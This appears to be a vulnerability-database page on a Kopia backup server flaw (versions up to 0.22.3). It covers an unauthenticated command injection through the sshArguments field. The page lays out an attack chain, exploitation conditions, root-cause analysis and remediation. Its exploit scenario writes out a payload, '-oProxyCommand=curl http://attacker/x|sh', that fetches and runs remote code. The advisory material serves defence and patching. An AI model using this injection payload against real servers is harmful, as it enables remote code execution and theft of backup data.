Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconScan for exposed Kopia HTTP server
-
DeliveryConfirm unauthenticated /api/v1/repo/exists
-
ExploitPOST SFTP config with -oProxyCommand payload in sshArguments
-
Installssh argv tokenized and executed
-
C2OpenSSH invokes $SHELL -c on attacker command
-
ExecuteArbitrary code runs as Kopia process user
-
ImpactAccess backup repository data and host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The Kopia HTTP server must have been started with the --without-password flag (which also implies --insecure in practice on pre-0.23 builds), causing internal/server/server_authz_checks.go to return a nil authenticator and authorize every UI endpoint. The listener must be reachable by the attacker on a non-loopback interface (LAN address, 0.0.0.0, or public IP) - loopback-only bindings are not remotely exploitable. The request must target /api/v1/repo/exists with a JSON body selecting the SFTP storage backend with externalSSH:true and supplying a sshArguments string containing a -oProxyCommand=<cmd> token. No credentials, no user interaction, no prior connection to a repository, and no valid SFTP target host are required (the ProxyCommand executes before any TCP connection attempt). Limiting factors: the deployment must be in the --without-password mode (not the default for production setups using KopiaUI authentication or reverse-proxy auth), and version must be <= 0.22.3 (0.23.0 refuses non-loopback binds in this mode). |
| Impact | All signals point to this being a real, high-priority issue rather than a paper-tiger CVSS rating. The CVSS v3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) matches the description: network-reachable HTTP endpoint, no authentication, no user interaction, low complexity, and full CIA impact through arbitrary command execution. KEV status is not listed and EPSS data was not provided in this input, so widespread mass-exploitation telemetry cannot be confirmed, but the GHSA advisory publishes a complete exploit recipe (the -oProxyCommand technique and exact endpoint), which effectively functions as public exploit code. The chief limiting factor is deployment shape: exploitation requires the operator to have deliberately started kopia server with --without-password AND bound it to a non-loopback interface - the new 0.23.0 release refuses that combination by default, suggesting most legitimate deployments were on loopback. Where the server was exposed to LAN or internet (a known anti-pattern in homelab/NAS setups), risk is critical and exploitation is trivial. |
| Exploit ScenarioDerived | An attacker scans for Kopia HTTP/HTTPS endpoints (commonly TCP/51515 or operator-chosen ports) reachable on the LAN or internet, identifies one launched with --without-password by the unauthenticated availability of /api/v1/repo/exists, and sends a single POST containing a JSON body that selects the SFTP backend with externalSSH:true and sets sshArguments to something like "-oProxyCommand=curl http://attacker/x|sh dummy@dummy". OpenSSH immediately invokes $SHELL -c on the attacker's payload before attempting any TCP connection, yielding code execution as the Kopia process user (often a backup-privileged service account with read access to everything being backed up). The advisory itself documents the technique step by step, which is functionally equivalent to a published PoC. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 19, 2026
Remote code execution in Kopia backup server (≤ 0.22.3) allows unauthenticated attackers to run arbitrary OS commands as the Kopia process user via a single HTTP request to /api/v1/repo/exists when the server is launched with --without-password. Publicly available exploit code exists through the published GHSA advisory and PR diff; no public exploit identified at time of analysis as being weaponized in the wild, but the trivially exploitable vector (CVSS 9.8) and detailed write-up make weaponization straightforward. The bug stems from naive space-splitting of attacker-controlled sshArguments that is fed to exec.CommandContext("ssh"), letting an -oProxyCommand= token trigger $SHELL -c execution before any SSH transport is established.
RemediationAI
Vendor-released patch: upgrade to Kopia 0.23.0 or later, which introduces the insecureserverbind package and refuses to bind an unauthenticated server (--without-password combined with --insecure) to any non-loopback address unless the operator explicitly passes the new --allow-extremely-dangerous-unauthenticated-server-on-the-network flag (see https://github.com/kopia/kopia/pull/5354 and the advisory at https://github.com/kopia/kopia/security/advisories/GHSA-2q4c-3mrw-63c3). If upgrading immediately is not possible, the recommended workarounds are to always start kopia server with --server-username and --server-password (or TLS client certificates) so getAuthenticator() returns a real authenticator, restrict the listen address to 127.0.0.1 or a Unix domain socket and front it with an authenticated reverse proxy, and add a host-based firewall rule blocking inbound access to the Kopia HTTP port from anything except trusted management hosts; the trade-off is that loopback-only binding breaks remote browser access until a proxy is configured. Operators should also audit logs for unexpected requests to /api/v1/repo/exists carrying storage.config.sshArguments containing -oProxyCommand.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Kopia is an open-source, cross-platform backup tool written in Go (pkg:go/github.com_kopia_kopia) that exposes an HTTP control/UI API. Two code paths combine to produce this flaw: internal/server/server_authz_checks.go (lines 61-73) returns a nil authenticator when --server-username/--server-password are absent, causing requireUIUser to unconditionally authorize every UI endpoint registered via handleUIPossiblyNotConnected; and repo/blob/sftp/sftp_storage.go (lines 448-468) tokenizes attacker-supplied SSHArguments by splitting on the literal ASCII space and appends the tokens directly to the ssh argv via os/exec, with no shell tokenizer, quote handling, or allowlist. The root cause is classic CWE-78 (OS Command Injection): OpenSSH's -oProxyCommand directive intentionally hands its value to $SHELL -c before opening any TCP connection, turning untrusted ssh arguments into a shell-execution primitive even when the target host is unreachable.
Know when SSH gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
Sources disagree (Medium–Critical)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.
CVSS VectorVendor: https://github.com/kopia/kopia
DescriptionCVE.org
Summary
Kopia's HTTP server, when started with --without-password , accepts unauthenticated requests to /api/v1/repo/exists. The handler forwards an attacker-supplied storage configuration to blob.NewStorage. For SFTP backends with externalSSH: true, that path constructs a process command line by splitting sshArguments on spaces and passes the result directly to exec.CommandContext("ssh"). An -oProxyCommand=<cmd> token in sshArguments causes OpenSSH to invoke <cmd> via $SHELL -c before any TCP connection is attempted, giving the requester arbitrary command execution as the Kopia process user.
Analysis
internal/server/server_authz_checks.go lines 61-73:
when the server is started without --server-username or --server-password, getAuthenticator() returns nil and requireUIUser unconditionally authorizes the request. Every endpoint registered through handleUIPossiblyNotConnected becomes accessible without credentials.
repo/blob/sftp/sftp_storage.go lines 448-468:
opt.SSHArguments is populated from the JSON request body (storage.config.sshArguments). The string is split only on the literal ASCII space character, there is no shell style tokenizer, no quote handling, and no allowlist. Whatever tokens the caller supplies are appended to the ssh argv.
OpenSSH treats -oProxyCommand=<value> as a directive to execute <value> via the user's shell ($SHELL -c <value>) and pipe the SSH transport over its stdio. The shell invocation happens before SSH attempts a TCP connection, so the command runs even when the target host is unreachable.
Impact
No user interaction is required. No valid credentials are required. The exploit is a single HTTP request.
Credits
This vulnerability was discovered and responsibly disclosed by Daniele Berardinelli.
Mitigation
https://github.com/kopia/kopia/pull/5354 disallows starting of a server without a password which also listens on a non-loopback interface.
Executive ViewAI
Kopia backup server (versions ≤0.22.3) can be exploited by remote attackers to execute commands and take control of backup infrastructure without any authentication. Organizations using affected versions face immediate risks including data theft, backup poisoning for ransomware deployment, and supply-chain threats. Emergency patching is critical given the availability of working exploit code and the extreme ease of exploitation.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, whi
GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of
freeSSHd.exe in freeSSHd through 1.2.6 allows remote attackers to bypass authentication via a crafted session, as demons
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, whi
Password authentication bypass in OpenSSH sshd before 10.6p2 built against musl libc without PAM lets a remote, unauthen
The PKCS#11 feature in ssh-agent in OpenSSH before 9.3p2 has an insufficiently trustworthy search path, leading to remot
OpenSSH server (sshd) 9.1 introduced a double-free vulnerability during options.kex_algorithms handling. Rated medium se
sshd in OpenSSH before 7.3, when SHA256 or SHA512 are used for user password hashing, uses BLOWFISH hashing on a static
The kbdint_next_device function in auth2-chall.c in sshd in OpenSSH through 6.9 does not properly restrict the processin
The auth_password function in auth-passwd.c in sshd in OpenSSH before 7.3 does not limit password lengths for password a
Remote code execution in OpenSSH's sshd server (regression of CVE-2006-5051) allows unauthenticated remote attackers to
EUVD-2026-44948
GHSA-2q4c-3mrw-63c3
NVD
CVE.org
EPSS
Exploit-DB